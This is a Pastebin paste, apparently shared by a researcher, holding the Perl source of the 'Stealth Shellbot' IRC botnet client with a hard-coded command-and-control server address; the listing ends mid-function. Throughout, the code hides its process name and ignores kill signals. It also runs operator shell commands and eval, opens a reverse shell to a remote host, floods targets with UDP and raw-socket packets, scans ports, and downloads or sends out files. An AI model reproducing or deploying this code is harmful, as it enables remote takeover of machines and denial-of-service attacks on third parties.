deependresearch

"Stealth Shellbot - C2: 87.229.108.74

Feb 17th, 2015
561
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.28 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # - Adicionado comando !estatisticas ;
  3. # - Alterado o comando @pacota para @oldpack;
  4. # - Adicionado dois novos pacotadores: @udp e @udpfaixa ;
  5. # - Adicionado um novo portscan -> @fullportscan ;
  6. # - Adicionado comando @conback com suporte para Windows/Unix :D;
  7. # - Adicionado comando: !sair para finalizar o bot;
  8. # - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
  9. # - Adicionado comando !entra e !sai ;
  10. # - Adicionado comando @download ;
  11. # - Adicionado comando !pacotes para ativar/desativar pacotes :);
  12.  
  13. ########## CONFIGURACAO ############
  14. my $processo = '/usr/sbin/httpd';
  15.  
  16. $servidor='87.229.108.74' unless $servidor;
  17. my $porta='80';
  18. my @canais=("#new");
  19. my @adms=("X","Y");
  20. my @auth=("*!*@los.zetas.mx");
  21.  
  22. # Anti Flood ( 6/3 Recomendado )
  23. my $linas_max=6;
  24. my $sleep=3;
  25.  
  26. my $nick = getnick();
  27. my $ircname = getnick();
  28. my $realname = getnick();
  29.  
  30. my $acessoshell = 1;
  31. ######## Stealth ShellBot ##########
  32. my $prefixo = "#";
  33. my $estatisticas = 0;
  34. my $pacotes = 1;
  35. ####################################
  36.  
  37. my $VERSAO = '0.2a';
  38.  
  39. $SIG{'INT'} = 'IGNORE';
  40. $SIG{'HUP'} = 'IGNORE';
  41. $SIG{'TERM'} = 'IGNORE';
  42. $SIG{'CHLD'} = 'IGNORE';
  43. $SIG{'PS'} = 'IGNORE';
  44.  
  45. use IO::Socket;
  46. use Socket;
  47. use IO::Select;
  48. chdir("/");
  49. $servidor="$ARGV[0]" if $ARGV[0];
  50. $0="$processo"."\0";
  51. my $pid=fork;
  52. exit if $pid;
  53. die "Problema com o fork: $!" unless defined($pid);
  54.  
  55. my %irc_servers;
  56. my %DCC;
  57. my $dcc_sel = new IO::Select->new();
  58.  
  59. #####################
  60. # Stealth Shellbot #
  61. #####################
  62.  
  63.  
  64.  
  65. sub getnick {
  66. #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt");
  67. #return $retornonick;
  68. return "new".int(rand(9000));
  69. }
  70.  
  71.  
  72. sub getident {
  73. my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  74. my $identchance = int(rand(1000));
  75. if ($identchance > 30) {
  76. return $nick;
  77. } else {
  78. return $retornoident;
  79. }
  80. return $retornoident;
  81. }
  82.  
  83. sub getname {
  84. my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  85. return $retornoname;
  86. }
  87.  
  88. # IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
  89. sub getident2 {
  90. my $length=shift;
  91. $length = 3 if ($length < 3);
  92.  
  93. my @chars=('a'..'z','A'..'Z','1'..'9');
  94. foreach (1..$length)
  95. {
  96. $randomstring.=$chars[rand @chars];
  97. }
  98. return $randomstring;
  99. }
  100.  
  101. sub getstore ($$)
  102. {
  103. my $url = shift;
  104. my $file = shift;
  105.  
  106. $http_stream_out = 1;
  107. open(GET_OUTFILE, "> $file");
  108. %http_loop_check = ();
  109. _get($url);
  110. close GET_OUTFILE;
  111. return $main::http_get_result;
  112. }
  113.  
  114. sub _get
  115. {
  116. my $url = shift;
  117. my $proxy = "";
  118. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  119. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  120. my $host = $1;
  121. my $port = $2 || 80;
  122. my $path = $3;
  123. $path = "/" unless defined($path);
  124. return _trivial_http_get($host, $port, $path);
  125. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  126. my $host = $1;
  127. my $port = $2;
  128. my $path = $url;
  129. return _trivial_http_get($host, $port, $path);
  130. } else {
  131. return undef;
  132. }
  133. }
  134.  
  135.  
  136. sub _trivial_http_get
  137. {
  138. my($host, $port, $path) = @_;
  139. my($AGENT, $VERSION, $p);
  140. #print "HOST=$host, PORT=$port, PATH=$path\n";
  141.  
  142. $AGENT = "get-minimal";
  143. $VERSION = "20000118";
  144.  
  145. $path =~ s/ /%20/g;
  146.  
  147. require IO::Socket;
  148. local($^W) = 0;
  149. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  150. PeerPort => $port,
  151. Proto => 'tcp',
  152. Timeout => 60) || return;
  153. $sock->autoflush;
  154. my $netloc = $host;
  155. $netloc .= ":$port" if $port != 80;
  156. my $request = "GET $path HTTP/1.0\015\012"
  157. . "Host: $netloc\015\012"
  158. . "User-Agent: $AGENT/$VERSION/u\015\012";
  159. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  160. $request .= "\015\012";
  161. print $sock $request;
  162.  
  163. my $buf = "";
  164. my $n;
  165. my $b1 = "";
  166. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  167. if ($b1 eq "") { # first block?
  168. $b1 = $buf; # Save this for errorcode parsing
  169. $buf =~ s/.+?\015?\012\015?\012//s; # zap header
  170. }
  171. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  172. }
  173. return undef unless defined($n);
  174.  
  175. $main::http_get_result = 200;
  176. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  177. $main::http_get_result = $1;
  178. # print "CODE=$main::http_get_result\n$b1\n";
  179. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  180. ) {
  181. # redirect
  182. my $url = $1;
  183. return undef if $http_loop_check{$url}++;
  184. return _get($url);
  185. }
  186. return undef unless $main::http_get_result =~ /^2/;
  187. }
  188.  
  189. return $buf;
  190. }
  191.  
  192. #############################
  193. # B0tchZ na veia ehehe :P #
  194. #############################
  195.  
  196. $sel_cliente = IO::Select->new();
  197. sub sendraw {
  198. if ($#_ == '1') {
  199. my $socket = $_[0];
  200. print $socket "$_[1]\n";
  201. } else {
  202. print $IRC_cur_socket "$_[0]\n";
  203. }
  204. }
  205.  
  206. sub conectar {
  207. my $meunick = $_[0];
  208. my $servidor_con = $_[1];
  209. my $porta_con = $_[2];
  210.  
  211. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  212. if (defined($IRC_socket)) {
  213. $IRC_cur_socket = $IRC_socket;
  214.  
  215. $IRC_socket->autoflush(1);
  216. $sel_cliente->add($IRC_socket);
  217.  
  218. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  219. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  220. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  221. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  222. nick("$meunick");
  223. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  224. sleep 2;
  225. }
  226.  
  227. }
  228. my $line_temp;
  229. while( 1 ) {
  230. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  231. delete($irc_servers{''}) if (defined($irc_servers{''}));
  232. &DCC::connections;
  233. my @ready = $sel_cliente->can_read(0.6);
  234. next unless(@ready);
  235. foreach $fh (@ready) {
  236. $IRC_cur_socket = $fh;
  237. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  238. $nread = sysread($fh, $msg, 4096);
  239. if ($nread == 0) {
  240. $sel_cliente->remove($fh);
  241. $fh->close;
  242. delete($irc_servers{$fh});
  243. }
  244. @lines = split (/\n/, $msg);
  245.  
  246. for(my $c=0; $c<= $#lines; $c++) {
  247. $line = $lines[$c];
  248. $line=$line_temp.$line if ($line_temp);
  249. $line_temp='';
  250. $line =~ s/\r$//;
  251. unless ($c == $#lines) {
  252. parse("$line");
  253. } else {
  254. if ($#lines == 0) {
  255. parse("$line");
  256. } elsif ($lines[$c] =~ /\r$/) {
  257. parse("$line");
  258. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  259. parse("$line");
  260. } else {
  261. $line_temp = $line;
  262. }
  263. }
  264. }
  265. }
  266. }
  267.  
  268. sub parse {
  269. my $servarg = shift;
  270. if ($servarg =~ /^PING \:(.*)/) {
  271. sendraw("PONG :$1");
  272. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  273. my $pn=$1; my $onde = $4; my $args = $5;
  274. if ($args =~ /^\001VERSION\001$/) {
  275. notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
  276. }
  277. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  278. notice("$pn", "\001PONG\001");
  279. }
  280. elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  281. if ($onde eq "$meunick"){
  282. shell("$pn", "$args");
  283. }
  284. elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  285. my $natrix = $1;
  286. my $arg = $2;
  287. if ($arg =~ /^\!(.*)/) {
  288. ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  289. } elsif ($arg =~ /^\@(.*)/) {
  290. $ondep = $onde;
  291. $ondep = $pn if $onde eq $meunick;
  292. bfunc("$ondep","$1");
  293. } else {
  294. shell("$onde", "$arg");
  295. }
  296. }
  297. }
  298. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  299. if (lc($1) eq lc($meunick)) {
  300. $meunick=$4;
  301. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  302. }
  303. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  304. $meunick = getnick();
  305. nick("$meunick");
  306. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  307. $meunick = $2;
  308. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  309. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  310. foreach my $canal (@canais) {
  311. sendraw("JOIN $canal");
  312. }
  313. }
  314. }
  315.  
  316. sub bfunc {
  317. my $printl = $_[0];
  318. my $funcarg = $_[1];
  319. if (my $pid = fork) {
  320. waitpid($pid, 0);
  321. } else {
  322. if (fork) {
  323. exit;
  324. } else {
  325. if ($funcarg =~ /^portscan (.*)/) {
  326. my $hostip="$1";
  327. my @portas=("21","22","23","25","53","80","110","143");
  328. my (@aberta, %porta_banner);
  329. foreach my $porta (@portas) {
  330. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  331. if ($scansock) {
  332. push (@aberta, $porta);
  333. $scansock->close;
  334. }
  335. }
  336. if (@aberta) {
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  338. } else {
  339. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  340. }
  341. }
  342.  
  343. elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  344. getstore("$1", "$2");
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
  346. }
  347.  
  348. elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  349. my $hostname="$1";
  350. my $portainicial = "$2";
  351. my $portafinal = "$3";
  352. my (@abertas, %porta_banner);
  353. foreach my $porta ($portainicial..$portafinal)
  354. {
  355. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  356. if ($scansock) {
  357. push (@abertas, $porta);
  358. $scansock->close;
  359. if ($estatisticas) {
  360. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  361. }
  362. }
  363. }
  364. if (@abertas) {
  365. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  366. } else {
  367. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  368. }
  369. }
  370.  
  371. # Duas Vers.es simplificada do meu Tr0x ;D
  372. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  373. return unless $pacotes;
  374. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  375. my $alvo=inet_aton("$1");
  376. my $porta = "$2";
  377. my $tempo = "$3";
  378. my $pacote;
  379. my $pacotese;
  380. my $fim = time + $tempo;
  381. my $pacota = 1;
  382. while (($pacota == "1") && ($pacotes == "1")) {
  383. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  384. $pacote=$rand x $rand x $rand;
  385. $porta = int(rand 65000) +1 if ($porta == "0");
  386. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  387. }
  388. if ($estatisticas)
  389. {
  390. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  391. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  392. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  393. }
  394. }
  395.  
  396. elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  397. return unless $pacotes;
  398. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  399. my $faixaip="$1";
  400. my $porta = "$2";
  401. my $tempo = "$3";
  402. my $pacote;
  403. my $pacotes;
  404. my $fim = time + $tempo;
  405. my $pacota = 1;
  406. my $alvo;
  407. while ($pacota == "1") {
  408. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  409. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  410. $alvo = inet_aton("$faixaip.$faixa");
  411. $pacote=$rand x $rand x $rand;
  412. $porta = int(rand 65000) +1 if ($porta == "0");
  413. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  414. if ($faixa >= 255) {
  415. $faixa = 1;
  416. }
  417. }
  418. }
  419. if ($estatisticas)
  420. {
  421. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  422. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  423. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  424. }
  425. }
  426.  
  427. # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  428. elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  429. my $host = "$1";
  430. my $porta = "$2";
  431. my $proto = getprotobyname('tcp');
  432. my $iaddr = inet_aton($host);
  433. my $paddr = sockaddr_in($porta, $iaddr);
  434. my $shell = "/bin/sh -i";
  435. if ($^O eq "MSWin32") {
  436. $shell = "cmd.exe";
  437. }
  438. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  439. connect(SOCKET, $paddr) or die "connect: $!";
  440. open(STDIN, ">&SOCKET");
  441. open(STDOUT, ">&SOCKET");
  442. open(STDERR, ">&SOCKET");
  443. system("$shell");
  444. close(STDIN);
  445. close(STDOUT);
  446. close(STDERR);
  447.  
  448. if ($estatisticas)
  449. {
  450. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  451. }
  452. }
  453.  
  454. elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  455. return unless $pacotes;
  456. my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  457. $dtime = 1 if $dtime == 0;
  458. my %bytes;
  459. $bytes{igmp} = $2 * $pacotes{igmp};
  460. $bytes{icmp} = $2 * $pacotes{icmp};
  461. $bytes{o} = $2 * $pacotes{o};
  462. $bytes{udp} = $2 * $pacotes{udp};
  463. $bytes{tcp} = $2 * $pacotes{tcp};
  464. unless ($estatisticas)
  465. {
  466. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
  467. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
  468. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
  469. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  470. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  471. }
  472. }
  473. exit;
  474. }
  475. }
  476. }
  477.  
  478. sub ircase {
  479. my ($kem, $printl, $case) = @_;
  480.  
  481. if ($case =~ /^join (.*)/) {
  482. j("$1");
  483. }
  484. elsif ($case =~ /^part (.*)/) {
  485. p("$1");
  486. }
  487. elsif ($case =~ /^rejoin\s+(.*)/) {
  488. my $chan = $1;
  489. if ($chan =~ /^(\d+) (.*)/) {
  490. for (my $ca = 1; $ca <= $1; $ca++ ) {
  491. p("$2");
  492. j("$2");
  493. }
  494. } else {
  495. p("$chan");
  496. j("$chan");
  497. }
  498. }
  499. elsif ($case =~ /^op/) {
  500. op("$printl", "$kem") if $case eq "op";
  501. my $oarg = substr($case, 3);
  502. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  503. }
  504. elsif ($case =~ /^deop/) {
  505. deop("$printl", "$kem") if $case eq "deop";
  506. my $oarg = substr($case, 5);
  507. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  508. }
  509. elsif ($case =~ /^voice/) {
  510. voice("$printl", "$kem") if $case eq "voice";
  511. $oarg = substr($case, 6);
  512. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  513. }
  514. elsif ($case =~ /^devoice/) {
  515. devoice("$printl", "$kem") if $case eq "devoice";
  516. $oarg = substr($case, 8);
  517. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  518. }
  519. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  520. msg("$1", "$2");
  521. }
  522. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  523. for (my $cf = 1; $cf <= $1; $cf++) {
  524. msg("$2", "$3");
  525. }
  526. }
  527. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  528. for (my $cf = 1; $cf <= $1; $cf++) {
  529. ctcp("$2", "$3");
  530. }
  531. }
  532. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  533. ctcp("$1", "$2");
  534. }
  535. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  536. invite("$1", "$2");
  537. }
  538. elsif ($case =~ /^nick (.*)/) {
  539. nick("$1");
  540. }
  541. elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  542. conectar("$2", "$1", 6667);
  543. }
  544. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  545. DCC::SEND("$1", "$2");
  546. }
  547. elsif ($case =~ /^raw (.*)/) {
  548. sendraw("$1");
  549. }
  550. elsif ($case =~ /^eval (.*)/) {
  551. eval "$1";
  552. }
  553. elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  554. sleep int(rand($2));
  555. j("$1");
  556. }
  557. elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  558. sleep int(rand($2));
  559. p("$1");
  560. }
  561. elsif ($case =~ /^sair/) {
  562. quit();
  563. }
  564. elsif ($case =~ /^novonick/) {
  565. my $novonick = getnick();
  566. nick("$novonick");
  567. }
  568. elsif ($case =~ /^estatisticas (.*)/) {
  569. if ($1 eq "on") {
  570. $estatisticas = 1;
  571. msg("$printl", "Estat.sticas ativadas!");
  572. } elsif ($1 eq "off") {
  573. $estatisticas = 0;
  574. msg("$printl", "Estat.sticas desativadas!");
  575. }
  576. }
  577. elsif ($case =~ /^pacotes (.*)/) {
  578. if ($1 eq "on") {
  579. $pacotes = 1;
  580. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  581. } elsif ($1 eq "off") {
  582. $pacotes = 0;
  583. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  584. }
  585. }
  586. }
  587. sub shell {
  588. return unless $acessoshell;
  589. my $printl=$_[0];
  590. my $comando=$_[1];
  591. if ($comando =~ /cd (.*)/) {
  592. chdir("$1") || msg("$printl", "Diret.rio inexistente!");
  593. return;
  594. }
  595. elsif ($pid = fork) {
  596. waitpid($pid, 0);
  597. } else {
  598. if (fork) {
  599. exit;
  600. } else {
  601. my @resp=`$comando 2>&1 3>&1`;
  602. my $c=0;
  603. foreach my $linha (@resp) {
  604. $c++;
  605. chop $linha;
  606. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  607. if ($c >= "$linas_max") {
  608. $c=0;
  609. sleep $sleep;
  610. }
  611. }
  612. exit;
  613. }
  614. }
  615. }
  616.  
  617. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  618. sub attacker {
  619. my $iaddr = inet_aton($_[0]);
  620. my $msg = 'B' x $_[1];
  621. my $ftime = $_[2];
  622. my $cp = 0;
  623. my (%pacotes);
  624. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  625.  
  626. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  627. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  628. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  629. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  630. return(undef) if $cp == 4;
  631. my $itime = time;
  632. my ($cur_time);
  633. while ( 1 ) {
  634. for (my $porta = 1; $porta <= 65535; $porta++) {
  635. $cur_time = time - $itime;
  636. last if $cur_time >= $ftime;
  637. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  638. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  639. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  640. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  641.  
  642. # DoS ?? :P
  643. for (my $pc = 3; $pc <= 255;$pc++) {
  644. next if $pc == 6;
  645. $cur_time = time - $itime;
  646. last if $cur_time >= $ftime;
  647. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  648. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  649. }
  650. }
  651. last if $cur_time >= $ftime;
  652. }
  653. return($cur_time, %pacotes);
  654. }
  655.  
  656. #############
  657. # ALIASES #
  658. #############
  659.  
  660. sub action {
  661. return unless $#_ == 1;
  662. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  663. }
  664.  
  665. sub ctcp {
  666. return unless $#_ == 1;
  667. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  668. }
  669. sub msg {
  670. return unless $#_ == 1;
  671. sendraw("PRIVMSG $_[0] :$_[1]");
  672. }
  673.  
  674. sub notice {
  675. return unless $#_ == 1;
  676. sendraw("NOTICE $_[0] :$_[1]");
  677. }
  678.  
  679. sub op {
  680. return unless $#_ == 1;
  681. sendraw("MODE $_[0] +o $_[1]");
  682. }
  683. sub deop {
  684. return unless $#_ == 1;
  685. sendraw("MODE $_[0] -o $_[1]");
  686. }
  687. sub hop {
  688. return unless $#_ == 1;
  689. sendraw("MODE $_[0] +h $_[1]");
  690. }
  691. sub dehop {
  692. return unless $#_ == 1;
  693. sendraw("MODE $_[0] +h $_[1]");
  694. }
  695. sub voice {
  696. return unless $#_ == 1;
  697. sendraw("MODE $_[0] +v $_[1]");
  698. }
  699. sub devoice {
  700. return unless $#_ == 1;
  701. sendraw("MODE $_[0] -v $_[1]");
  702. }
  703. sub ban {
  704. return unless $#_ == 1;
  705. sendraw("MODE $_[0] +b $_[1]");
  706. }
  707. sub unban {
  708. return unless $#_ == 1;
  709. sendraw("MODE $_[0] -b $_[1]");
  710. }
  711. sub kick {
  712. return unless $#_ == 1;
  713. sendraw("KICK $_[0] $_[1] :$_[2]");
  714. }
  715.  
  716. sub modo {
  717. return unless $#_ == 0;
  718. sendraw("MODE $_[0] $_[1]");
  719. }
  720. sub mode { modo(@_); }
  721.  
  722. sub j { &join(@_); }
  723. sub join {
  724. return unless $#_ == 0;
  725. sendraw("JOIN $_[0]");
  726. }
  727. sub p { part(@_); }
  728. sub part {sendraw("PART $_[0]");}
  729.  
  730. sub nick {
  731. return unless $#_ == 0;
  732. sendraw("NICK $_[0]");
  733. }
  734.  
  735. sub invite {
  736. return unless $#_ == 1;
  737. sendraw("INVITE $_[1] $_[0]");
  738. }
  739. sub topico {
  740. return unless $#_ == 1;
  741. sendraw("TOPIC $_[0] $_[1]");
  742. }
  743. sub topic { topico(@_); }
  744.  
  745. sub whois {
  746. return unless $#_ == 0;
  747. sendraw("WHOIS $_[0]");
  748. }
  749. sub who {
  750. return unless $#_ == 0;
  751. sendraw("WHO $_[0]");
  752. }
  753. sub names {
  754. return unless $#_ == 0;
  755. sendraw("NAMES $_[0]");
  756. }
  757. sub away {
  758. sendraw("AWAY $_[0]");
  759. }
  760. sub back { away(); }
  761. sub quit {
  762. sendraw("QUIT :$_[0]");
  763. exit;
  764. }
  765.  
  766. # DCC
  767. package DCC;
  768.  
  769. sub connections {
  770. my @ready = $dcc_sel->can_read(1);
  771. # return unless (@ready);
  772. foreach my $fh (@ready) {
  773. my $dcctipo = $DCC{$fh}{tipo};
  774. my $arquivo = $DCC{$fh}{arquivo};
  775. my $bytes = $DCC{$fh}{bytes};
  776. my $cur_byte = $DCC{$fh}{curbyte};
  777. my $nick = $DCC{$fh}{nick};
  778.  
  779. my $msg;
  780. my $nread = sysread($fh, $msg, 10240);
  781.  
  782. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  783. $DCC{$fh}{status} = "Cancelado";
  784. $DCC{$fh}{ftime} = time;
  785. $dcc_sel->remove($fh);
  786. $fh->close;
  787. next;
  788. }
  789.  
  790. if ($dcctipo eq "get") {
  791. $DCC{$fh}{curbyte} += length($msg);
  792.  
  793. my $cur_byte = $DCC{$fh}{curbyte};
  794.  
  795. open(FILE, ">> $arquivo");
  796. print FILE "$msg" if ($cur_byte <= $bytes);
  797. close(FILE);
  798.  
  799. my $packbyte = pack("N", $cur_byte);
  800. print $fh "$packbyte";
  801.  
  802. if ($bytes == $cur_byte) {
  803. $dcc_sel->remove($fh);
  804. $fh->close;
  805. $DCC{$fh}{status} = "Recebido";
  806. $DCC{$fh}{ftime} = time;
  807. next;
  808. }
  809. } elsif ($dcctipo eq "send") {
  810. my $send = $fh->accept;
  811. $send->autoflush(1);
  812. $dcc_sel->add($send);
  813. $dcc_sel->remove($fh);
  814. $DCC{$send}{tipo} = 'sendcon';
  815. $DCC{$send}{itime} = time;
  816. $DCC{$send}{nick} = $nick;
  817. $DCC{$send}{bytes} = $bytes;
  818. $DCC{$send}{curbyte} = 0;
  819. $DCC{$send}{arquivo} = $arquivo;
  820. $DCC{$send}{ip} = $send->peerhost;
  821. $DCC{$send}{porta} = $send->peerport;
  822. $DCC{$send}{status} = "Enviando";
  823.  
  824. #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  825. open(FILE, "< $arquivo");
  826. my $fbytes;
  827. read(FILE, $fbytes, 1024);
  828. print $send "$fbytes";
  829. close FILE;
  830. # delete($DCC{$fh});
  831. } elsif ($dcctipo eq 'sendcon') {
  832. my $bytes_sended = unpack("N", $msg);
  833. $DCC{$fh}{curbyte} = $bytes_sended;
  834. if ($bytes_sended == $bytes) {
  835. $fh->close;
  836. $dcc_sel->remove($fh);
  837. $DCC{$fh}{status} = "Enviado";
  838. $DCC{$fh}{ftime} = time;
  839. next;
  840. }
  841. open(SENDFILE, "< $arquivo");
  842. seek(SENDFILE, $bytes_sended, 0);
  843. my $send_bytes;
  844. read(SENDFILE, $send_bytes, 1024);
  845. print $fh "$send_bytes";
  846. close(SENDFILE);
  847. }
  848. }
  849. }
  850.  
  851.  
  852. sub SEND {
  853. my ($nick, $arquivo) = @_;
  854. unless (-r "$arquivo") {
  855. return(0);
  856. }
  857.  
  858. my $dccark = $arquivo;
  859. $dccark =~ s/[.*\/](\S+)/$1/;
  860.  
  861. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  862. my $longip = unpack("N",inet_aton($meuip));
  863.  
  864. my @filestat = stat($arquivo);
  865. my $size_total=$filestat[7];
  866. if ($size_total == 0) {
  867. return(0);
  868. }
  869.  
  870. my ($porta, $sendsock);
  871. do {
  872. $porta = int rand(64511);
  873. $porta += 1024;
  874. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  875. } until $sendsock;
  876.  
  877. $DCC{$sendsock}{tipo} = 'send';
  878. $DCC{$sendsock}{nick} = $nick;
  879. $DCC{$sendsock}{bytes} = $size_total;
  880. $DCC{$sendsock}{arquivo} = $arquivo;
  881.  
  882.  
  883. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  884.  
  885. }
  886.  
  887. sub GET {
  888. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
